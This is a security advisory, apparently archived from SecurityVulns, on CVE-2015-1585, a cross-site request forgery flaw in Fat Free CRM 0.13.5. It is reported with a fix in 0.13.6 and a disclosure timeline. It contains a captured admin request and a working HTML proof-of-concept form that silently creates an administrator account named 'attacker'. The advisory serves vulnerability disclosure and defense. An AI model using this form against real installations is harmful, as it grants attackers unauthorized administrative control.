[CVE-2015-1585] Fat Free CRM - CSRF Vulnerability in Version 0.13.5

2015-02-22T00:00:00
ID SECURITYVULNS:DOC:31733
Type securityvulns
Reporter Securityvulns
Modified 2015-02-22T00:00:00

Description

[CVE-2015-1585] Fat Free CRM - CSRF Vulnerability in Version 0.13.5


Product Information:

Software: Fat Free CRM

Tested Version: 0.13.5, released 22.1.2015 with over 10.000 downloads

Vulnerability Type: Cross-Site Request Forgery, CSRF (CWE-352)

Download link: https://rubygems.org/gems/fat_free_crm/versions/0.13.5

Description: An open source, Ruby on Rails customer relationship management platform (CRM). Out of the box it features group collaboration, campaign and lead management, contact lists, and opportunity tracking (copied from https://github.com/fatfreecrm/fat_free_crm)


Vulnerability description:

When an authenticated administrative user of Fat Free CRM is creating another user account, the following POST request is sent to the server:

POST /admin/users HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: /;q=0.5, text/javascript, application/javascript, application/ecmascript, application/x-ecmascript Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-CSRF-Token: oxZgwOAtzNdFJU85jPqmI+g893lQaOy6ctCCzef42qI= Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1:3000/admin Content-Length: 356 Cookie: _session_id=$foo1; user_credentials=$foo2 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

utf8=%E2%9C%93&authenticity_token=oxZgwOAtzNdFJU85jPqmI%2Bg893lQaOy6ctCCzef42qI%3D&user%5Busername%5D=admin1&user%5Bemail%5D=test1%40test.de&user%5Bpassword%5D=1&user%5Bpassword_confirmation%5D=1&user%5Badmin%5D=0&user%5Badmin%5D=1&user%5Bfirst_name%5D=&user%5Blast_name%5D=&user%5Btitle%5D=&user%5Bcompany%5D=&user%5Bgroup_ids%5D%5B%5D=&commit=Create+User

As can be seen, the application is already using a CSRF token in the parameter authenticity_token, that has got a sufficient entropy. Nevertheless, this parameter is optional and not mandatory when creating a user. When executing the following Proof-of-Concept, a new administrative user called "attacker" will be created with the password 1234.

<html> <body> <form action="http://127.0.0.1:3000/admin/users" method="POST"> <input type="hidden" name="utf8" value="�œ“" /> <input type="hidden" name="user[username]" value="attacker" /> <input type="hidden" name="user[email]" value="test@test.org" /> <input type="hidden" name="user[password]" value="1234" /> <input type="hidden" name="user[password_confirmation]" value="1234" /> <input type="hidden" name="user[admin]" value="1" /> <input type="hidden" name="commit" value="Create User" /> <input type="submit" value="Submit request" /> </form> </body> </html>


Impact:

Every state changing operation within Fat Free CRM is using the parameter authenticity_token in order to prevent CSRF attacks. Nevertheless, all operations can be triggered by a CSRF attack, as this parameter is always optional and not needed.


Solution:

Update to the latest version, which is 0.13.6, see https://rubygems.org/gems/fat_free_crm/versions/0.13.6

See also https://github.com/fatfreecrm/fat_free_crm/wiki/CSRF-Vulnerability-%28CVE-2015-1585%29


Timeline:

Vulnerability found: 11.2.2015 Vendor informed: 11.2.2015 Response by vendor: 12.2.2015 Fix by vendor 12.2.2015 Public Advisory: 14.2.2015


Best regards,

Sven Schleier